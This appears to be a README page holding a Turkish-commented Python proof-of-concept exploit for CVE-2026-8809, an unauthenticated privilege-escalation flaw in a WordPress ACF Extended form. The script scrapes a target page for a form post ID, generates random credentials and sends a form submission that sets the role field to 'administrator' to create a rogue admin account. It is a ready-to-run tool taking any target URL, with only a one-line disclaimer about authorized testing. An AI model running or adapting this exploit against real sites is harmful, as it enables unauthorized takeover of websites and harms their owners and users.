README.md
Rendering markdown...
import requests
import re
import sys
import random
import string
from urllib.parse import urljoin
def generate_random_credentials(prefix="attacker"):
"""Rastgele kullanıcı adı ve şifre üretir."""
random_suffix = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8))
username = f"{prefix}_{random_suffix}"
password = ''.join(random.choices(string.ascii_letters + string.digits + "!@#$%", k=16))
return username, password
def find_acf_post_id(target_url, session):
"""
Hedef sayfada '_acf_post_id' değerini bulmaya çalışır.
Öncelikle sayfa kaynağında arar, bulamazsa rastgele oluşturur.
"""
print(f"[*] Analiz ediliyor: {target_url}")
try:
response = session.get(target_url, timeout=10)
response.raise_for_status()
except requests.exceptions.RequestException as e:
print(f"[-] Sayfaya erişilemedi: {e}")
return None
post_id_patterns = [
r'id="acf-post-id"\s*value="([^"]+)"', # Olası gizli giriş alanı
r'name="_acf_post_id"\s+value="([^"]+)"',
r'data-post-id=["\']([^"\']+)["\']',
r'post_id["\']\s*:\s*["\']?(\d+)["\']?',
]
for pattern in post_id_patterns:
match = re.search(pattern, response.text)
if match:
detected_post_id = match.group(1)
print(f"[+] '_acf_post_id' tespit edildi: {detected_post_id}")
return detected_post_id
# Alternatif: Rastgele bir post_id dener
random_post_id = str(random.randint(1, 9999))
print(f"[!] '_acf_post_id' tespit edilemedi, rastgele değer kullanılıyor: {random_post_id} (Olasılık düşük)")
return random_post_id
def build_exploit_request(target_url, post_id, username, email, password):
"""Zafiyeti tetikleyecek POST isteğini oluşturur."""
# Gerekli POST verileri, hedef siteye göre değişebilir.
# Bu, yaygın bir form yapısını baz alan temel bir payload'dır.
exploit_data = {
'_acf_post_id': post_id,
'acf[username]': username,
'acf[email]': email,
'acf[password]': password,
'acf[role]': 'administrator', # Kritik: Yetki yükseltme rolü
'acf[submit]': 'Submit',
'action': 'acfe/form/submit',
# form_id veya form_name gibi ek alanlar gerekebilir.
# Genellikle sayfada 'acf[form_id]' şeklinde gizli bir alan bulunur.
# Bu alan bulunamazsa, işlem başarısız olabilir. Gelişmiş tespit gerekir.
'acf[form_id]': '1' # Varsayılan bir değer dener.
}
return exploit_data
def exploit(target_url):
"""
Ana exploit fonksiyonu: Hedefi analiz eder, gerekli parametreleri bulur
ve zafiyeti tetikleyen POST isteğini gönderir.
"""
print("="*60)
print(" CVE-2026-8809 - Unauthenticated Privilege Escalation PoC")
print("="*60)
print(f"[+] Hedef: {target_url}")
session = requests.Session()
session.headers.update({'User-Agent': 'Mozilla/5.0 (CVE-2026-8809-PoC)'})
# Adım 1: '_acf_post_id' değerini bul veya oluştur
post_id = find_acf_post_id(target_url, session)
if not post_id:
print("[-] '_acf_post_id' belirlenemedi, işlem iptal ediliyor.")
return
# Adım 2: Rastgele yönetici kimlik bilgileri oluştur
new_admin_username, new_admin_password = generate_random_credentials("cve_2026_8809_pwn")
# E-posta adresi de rastgele oluşturulabilir veya istenebilir.
new_admin_email = f"{new_admin_username}@example.com"
print(f"[+] Yeni yönetici kimlik bilgileri oluşturuldu:")
print(f" Kullanıcı Adı: {new_admin_username}")
print(f" Şifre: {new_admin_password}")
print(f" E-posta: {new_admin_email}")
# Adım 3: Exploit payload'ını oluştur
payload = build_exploit_request(target_url, post_id, new_admin_username, new_admin_email, new_admin_password)
# Adım 4: POST isteğini gönder
print(f"[*] Exploit gönderiliyor...")
try:
# Not: İsteğin gönderileceği hedef URL, sayfanın action atribütünden alınmalıdır.
# Bu örnekte, basitlik açısından aynı URL kullanılmıştır.
response = session.post(target_url, data=payload, timeout=15)
print(f"[*] HTTP Durum Kodu: {response.status_code}")
# Adım 5: Başarı kontrolü (tamamen örnek üzerinden yapılmıştır)
# Gerçek dünyada başarılı bir exploit'in sonucunu anlamak daha zordur.
# Yönetici paneline giriş yapmayı denemek veya logları kontrol etmek gerekir.
if response.status_code == 200:
if "Kullanıcı başarıyla oluşturuldu" in response.text or "success" in response.text.lower():
print(f"[+] İstek başarılı görünüyor! Yeni yönetici hesabı oluşturulmuş olabilir.")
else:
print("[?] İstek başarılı gönderildi ancak sonuç doğrulanamadı. Yönetici panelini kontrol edin.")
else:
print("[-] İstek başarısız oldu. Exploit koşulları oluşmamış olabilir.")
except requests.exceptions.RequestException as e:
print(f"[-] POST isteği sırasında hata: {e}")
print("\n[!] Bu araç yalnızca eğitim ve izin verilen test ortamlarında kullanılmalıdır.")
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"Kullanım: python {sys.argv[0]} <https://hedef-site.com/acfe-form-sayfasi>")
sys.exit(1)
target = sys.argv[1]
exploit(target)